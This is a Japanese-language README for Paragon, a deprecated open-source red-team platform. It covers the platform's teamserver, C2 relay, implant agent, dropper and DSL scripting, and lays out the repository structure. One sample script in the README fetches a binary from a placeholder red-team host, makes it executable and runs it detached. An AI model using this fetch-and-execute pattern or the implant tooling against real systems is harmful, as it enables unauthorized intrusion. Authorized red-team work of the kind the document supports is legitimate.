
シンプルなUIで攻撃ツールを統合することを目的としたレッドチームエンゲージメントプラットフォーム
このプロジェクトは非推奨となりました。新しい Realm プロジェクト を参照してください。このリポジトリを構築した際の多くのアイデアを基にしています。

Paragon はレッドチームエンゲージメントプラットフォームです。シンプルな UI の背後で攻撃ツールを統合し、バックエンド作業の多くを抽象化することで、オペレーターはインプラントの作成に集中でき、データベースや CSS に悩む時間を減らすことができます。このリポジトリには、エンゲージメント中に使用できる Paragon に統合された攻撃ツールもいくつか含まれています。
クイックデモインスタンスはリポジトリをクローンして docker-compose up を実行することでセットアップできます。ブラウザで 127.0.0.1:80 を開いて開始してください!
使用されるイメージは Docker Hub で入手可能であり、本番環境デプロイメント用に docker-compose ファイルから設定できます。
このリポジトリのほとんどのコンポーネントは、Python ライクなスクリプト言語に依存しており、動作を強力に制御およびカスタマイズできます。この言語は Google の starlark の修正版であり、オペレーター向けのクロスプラットフォーム機能が拡張されています。これにより、エージェントやドロッパー(後述)などのツールがシステムバイナリ(curl、bash など)に依存せずにタスクを実行できます。すべての操作は Golang のコードとして実行されるため、スクリプト環境に追加機能を追加するのは直感的です。以下にサンプルスクリプトを示します。
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
シンプルな Web アプリケーションと GraphQL API を提供し、レッドチームのナレッジグラフとインターフェースします。ツールを一元化された信頼できる情報源の背後に統合し、オペレーターから多くの面倒なバックエンドの懸念事項を抽象化します。カスタムツールを Teamserver と統合して(GraphQL API またはイベントサブスクリプションを使用)、バックエンド作業の時間を節約してください。Teamserver はすべてのアクティビティを記録するため、すべてのツールを一か所に統合することで、エンゲージメント後のレポート作成が大幅に容易になります。
以下のツールもリポジトリに含まれています。これらは多くのクロスプラットフォームのユースケースに合わせて簡単に拡張できます。
Paragon は、アセット(バイナリ、スクリプトなど)を単一のバイナリにパッケージ化するツールを提供します。このバイナリを実行すると、カスタムデプロイメントスクリプトが実行され、アセットをファイルシステムに書き込んだり、プロセスを起動したり、ファイルをダウンロードしたり、エラーを処理したりできます。完全クロスプラットフォームで静的にコンパイルされており、信頼性の高いデプロイメントを提供します。機能を拡張したい場合は、コンパイル前に生成された Golang ファイルを拡張するだけです。
タスクを実行し、実行結果を報告するインプラントです。デフォルトでは、Paragon の Python ライクなスクリプト言語を使用してタスクを実行し、http(s) 経由で C2 と通信するように設定されています。Go で書かれているため、新しいトランスポート方式(DNS など)、実行オプション、フェイルオーバーロジックなどを簡単に追加できます。
エージェントと Teamserver の間の仲介役として機能します。さまざまな通信メカニズムに対応するエージェントのコールバックを処理し、Teamserver キューから新しいタスクを提供します。
コールバックを待つ代わりに、タスクを迅速に実行してその出力を確認するためにフォワード接続が必要な状況があります。ランナーは、タスクキューにサブスクライブし、ターゲットマシンへの接続(ssh を使用など)を確立することでこれを実現します。これにより、シェルライクな統合がインプラントや C2 と同じインターフェースを利用できるようになります。また、このインターフェースを介して初期インプラントのデプロイメントを実施することもできます。
ターゲットネットワークのアクティビティと可視サービスを監視します。エンゲージメントネットワークのグラフをマッピングし、状態変化(ssh が利用可能になるなど)に応じて自動化をトリガーします。
チームサーバーに対して PG_KS_MachineUUID キルスイッチ環境変数を設定すると、マシン UUID を使用したルックアップが無効になります。
これらの複雑なシステムについて明確なコミュニケーションを確保するために、プロジェクト固有の用語を以下にまとめます。これらの用語はプロジェクトのドキュメント全体で使用されます。
エンゲージメント中に侵害されたシステム上で実行される悪意のあるソフトウェア。
特定の侵害されたシステム上で実行される望ましい操作。タスクはインプラントに実行命令を提供しますが、その構文や構造はツールに完全に固有である可能性があります。
Teamserver からタスクを受信し、実行し、結果を報告するインプラント。拡張可能なデフォルト実装がこのリポジトリに含まれており、タスクはプロジェクトの Python ライクな DSL を使用したスクリプトとして提供される必要があります。
Teamserver に特定の操作セットを実行するよう要求します。ジョブを作成すると、命令は保存されますが実行されません。ユーザーは、ジョブをキューに入れ、必要なパラメーターを提供することで、ジョブを 0 回以上実行するよう Teamserver に要求できます。ジョブは更新できませんが、過度なコピーペーストを避けるために新しいバージョンのジョブを作成できます。
ジョブの一般的な使用例は、ユーザーが複数のターゲットでスクリプトを実行したい場合です。ユーザーはジョブを作成し、提供された内容でタスクを作成するよう Teamserver に指示しますが、ターゲットマシンはパラメーターとして残します。ジョブがキューに入れられると、ユーザーはパラメーターとしてターゲットマシンのリストを提供し、Teamserver は各マシンに対してタスクを作成します。
以下は Paragon 開発のための最初の簡単なリファレンスです。詳細なドキュメントはパッケージの godocs またはコードを読むことで見つけることができます。設計上の決定を最終決定した後(v1 に達する前に)、コードフリーズが実施され、すべてのドキュメントが更新され適切に整理されるまで続きます。
Remote - Containers 拡張機能が必要です。上記の前提条件をインストールした後、すぐに開始できます。リポジトリをクローンして VSCode で開くだけです。開発コンテナでコードベースを開くように求められます。このコンテナには、必要なすべてのプロジェクト依存関係と開発ツールが設定されています。このオプションが表示されない場合は、コマンドパレットを開いて > Remote-Containers: Open Folder In Container を実行するとコンテナが起動します。初めてコンテナを起動する場合は、ダウンロードに時間がかかる場合があります…その間にコーヒーをどうぞ ^_^
以下はプロジェクト構造と各コンポーネントの場所の概要です。これが古くなった場合は、報告するための Issue を提出するか、できれば修正する PR を送信してください。コードベースはモノリポジトリとして設定されており、複雑なバージョン競合を避けながら、共有の開発ツール、標準化などの利点を活用できます。
| フォルダ | 使用用途 |
|---|---|
| .devcontainer | VSCode コンテナ開発環境の設定。 |
| .github | Github の設定。 |
| .stats | パフォーマンスプロファイリング出力を保存するための git 無視ディレクトリ(存在する場合も存在しない場合もあります)。 |
| ent | Teamserver で使用されるグラフ関連の API 定義。 |
| graphql | ent から生成された GraphQL スキーマと関連コード。 |
| cmd | コマンドライン実行可能ツールおよびサービス。 |
| dist | ビルド成果物を保存するための git 無視ディレクトリ。 |
| docker | サンプルデプロイメントに使用される Dockerfile。 |
| ent | Teamserver で使用されるグラフモデルとスキーマ(詳細は Facebook の entgo ツールを参照)。 |
| pkg | リポジトリツールで利用されるが、外部にも公開されている公開ライブラリ。 |
| pkg/agent | インプラントまたは通信トランスポートを簡単に作成するための抽象化。 |
| pkg/c2 | C2 サービス関連のヘルパーと標準化されたメッセージ定義。 |
| pkg/c2/proto | Agent <-> C2 通信のための標準化されたシリアル化形式を定義する Protobuf スペック。 |
| pkg/drop | コンパイルされたドロッペーロードで使用されるシンプルなメソッドを提供。 |
| pkg/middleware | HTTP サービスのための共通ミドルウェア。 |
| pkg/script | 動的な設定、自動化、クロスプラットフォームのエクスプロイテーションのための Python ライクなスクリプト言語。 |
| pkg/script/stdlib | スクリプト実行環境に機能を公開する標準ライブラリ。 |
| pkg/teamserver | Teamserver サービス関連のヘルパー。 |
| www | Teamserver がホストする主要な Web アプリケーションを含む。Facebook の create-react-app アプリケーションで作成。 |
| www/src/components | 再利用可能な React コンポーネント。 |
| www/src/config | Web アプリの設定とルーティング。 |
| www/src/views | Teamserver からデータをクエリし、コンポーネントを構成してレンダリングするコンテナ。 |
以下は、Teamserver によって管理されるレッドチームナレッジグラフのノード間の関係の概要です。

トランスポートの優先順位。独自のものを使用するには、agent.Sender インターフェースを実装し、初期化中にトランスポートを登録するだけです。既存のトランスポートの例は、agent パッケージのサブディレクトリにあります。
デフォルトでは、エージェントはタスクが starlark 構文に従うことを期待し、スクリプトが利用できる標準ライブラリを公開します。タスク実行の動作を変更する(たとえば bash コマンドのみにする)には、agent.Receiver インターフェースを実装してタスクを希望通りに実行できます。
スクリプト環境はエージェント用にカスタマイズでき、スクリプトが利用できる新しい機能を簡単にパッケージ化できます。エージェントのスクリプトエンジンを拡張する方法については、スクリプトオプション を参照してください。
以下は、エージェントインプラントの一般的な実行のフロー図です。
エージェントは新しいトランスポートメカニズムで簡単にカスタマイズできるように設計されており、通信を多重化します。
